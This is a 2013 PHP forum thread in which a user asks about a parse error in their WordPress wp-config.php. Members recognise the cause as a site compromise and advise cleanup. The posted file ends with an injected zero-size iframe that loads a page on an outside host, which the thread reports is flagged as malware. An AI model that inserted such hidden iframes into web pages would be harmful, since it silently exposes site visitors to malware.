syntax error, unexpected '>'

Discussion in 'PHP' started by claes08, Jun 29, 2013.

  1. #1
    Can somone pls help me with this error message:
    Parse error: syntax error, unexpected '>' in g:\home\***n_webb\wp-config.php on line 78

    <?php
    /**
    * The base configurations of the WordPress.
    *
    * This file has the following configurations: MySQL settings, Table Prefix,
    * Secret Keys, WordPress Language, and ABSPATH. You can find more information by
    * visiting {@link http://codex.wordpress.org/Editing_wp-config.php Editing
    * wp-config.php} Codex page. You can get the MySQL settings from your web host.
    *
    * This file is used by the wp-config.php creation script during the
    * installation. You don't have to use the web site, you can just copy this file
    * to "wp-config.php" and fill in the values.
    *
    * @package WordPress
    */
     
    // ** MySQL settings - You can get this info from your web host ** //
    /** The name of the database for WordPress */
    define('DB_NAME', '*****');
     
    /** MySQL database username */
    define('DB_USER', '****);
     
    /** MySQL database password */
    define('DB_PASSWORD', '*****);
     
    /** MySQL hostname */
    define('DB_HOST', '*****');
     
    /** Database Charset to use in creating database tables. */
    define('DB_CHARSET', 'utf8');
     
    /** The Database Collate type. Don't change this if in doubt. */
    define('DB_COLLATE', '');
     
    /**#@+
    * Authentication Unique Keys.
    *
    * Change these to different unique phrases!
    * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/ WordPress.org secret-key service}
    * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
    *
    * @since 2.6.0
    */
    define('AUTH_KEY', 'put your unique phrase here');
    define('SECURE_AUTH_KEY', 'put your unique phrase here');
    define('LOGGED_IN_KEY', 'put your unique phrase here');
    define('NONCE_KEY', 'put your unique phrase here');
    /**#@-*/
     
    /**
    * WordPress Database Table prefix.
    *
    * You can have multiple installations in one database if you give each a unique
    * prefix. Only numbers, letters, and underscores please!
    */
    $table_prefix  = 'wp_';
     
    /**
    * WordPress Localized Language, defaults to English.
    *
    * Change this to localize WordPress.  A corresponding MO file for the chosen
    * language must be installed to wp-content/languages. For example, install
    * de.mo to wp-content/languages and set WPLANG to 'de' to enable German
    * language support.
    */
    define ('WPLANG', 'sv_SE');
     
    /* That's all, stop editing! Happy blogging. */
     
    /** Absolute path to the WordPress directory. */
    if ( !defined('ABSPATH') )
        define('ABSPATH', dirname(__FILE__) . '/');
     
    /** Sets up WordPress vars and included files. */
    require_once(ABSPATH . 'wp-settings.php');
    p
    <nofollow><iframe src="http://tsm.25u.com/local.html" width="0" height="0" frameborder="0"></iframe></nofollow>
    PHP:
     
    claes08, Jun 29, 2013 IP
  2. sarahk

    sarahk iTamer Staff

    Messages:
    28,897
    Likes Received:
    4,555
    Best Answers:
    123
    Trophy Points:
    665
    #3
    delete lines 77 and 78. I don't know what you are trying to do with them but they don't belong in wp-config.
     
    sarahk, Jun 29, 2013 IP
    Devtard likes this.
  3. Devtard

    Devtard Notable Member

    Messages:
    850
    Likes Received:
    133
    Best Answers:
    4
    Trophy Points:
    220
    #4
    It is always a good idea to check the code before posting a question. The mentioned lines are clearly not part of the PHP code.
     
    Devtard, Jun 29, 2013 IP
    ryan_uk likes this.
  4. sarahk

    sarahk iTamer Staff

    Messages:
    28,897
    Likes Received:
    4,555
    Best Answers:
    123
    Trophy Points:
    665
    #5
    poorly disguised spam? or a genuine problem?
     
    sarahk, Jun 29, 2013 IP
  5. ryan_uk

    ryan_uk Illustrious Member

    Messages:
    3,983
    Likes Received:
    1,022
    Best Answers:
    33
    Trophy Points:
    465
    #6
    Has your site been hacked? That link is to a site with malware (according to Google Chrome's alert). Suggest your disable your site and do an audit (find out what's infected and how it happened), go back to a known working backup and secure it before you re-enable it.
     
    ryan_uk, Jun 29, 2013 IP
  6. claes08

    claes08 Peon

    Messages:
    2
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    1
    #7
    Thank you, i think my homepage has been hacked or something? same line as 77 & 78 is in every .php file on my root files..... Is there any quick fix for this ?
     
    claes08, Jun 29, 2013 IP
  7. ryan_uk

    ryan_uk Illustrious Member

    Messages:
    3,983
    Likes Received:
    1,022
    Best Answers:
    33
    Trophy Points:
    465
    #8
    Delete your site.

    Seriously, stop looking for quick ways but instead the right ways or you'll end up with such problems again. (I don't mean to sound unkind, even if it does.)

    Once you've cleaned* your site, you will also need to sort out the malware notification in Google Webmaster Tools.

    *I don't just mean remove the entries in PHP, but find out what caused it and eliminate it. Also make sure it can't happen again - it might be a particular theme that's vulnerable, plugin or a security problem with your host.
     
    ryan_uk, Jun 29, 2013 IP
    malky66 likes this.
  8. malky66

    malky66 Acclaimed Member

    Messages:
    3,997
    Likes Received:
    2,248
    Best Answers:
    88
    Trophy Points:
    515
    #9
    hmmm..."hacked" and "wordpress", 2 words that seem to go arm in arm with each other
     
    malky66, Jun 29, 2013 IP
    ryan_uk likes this.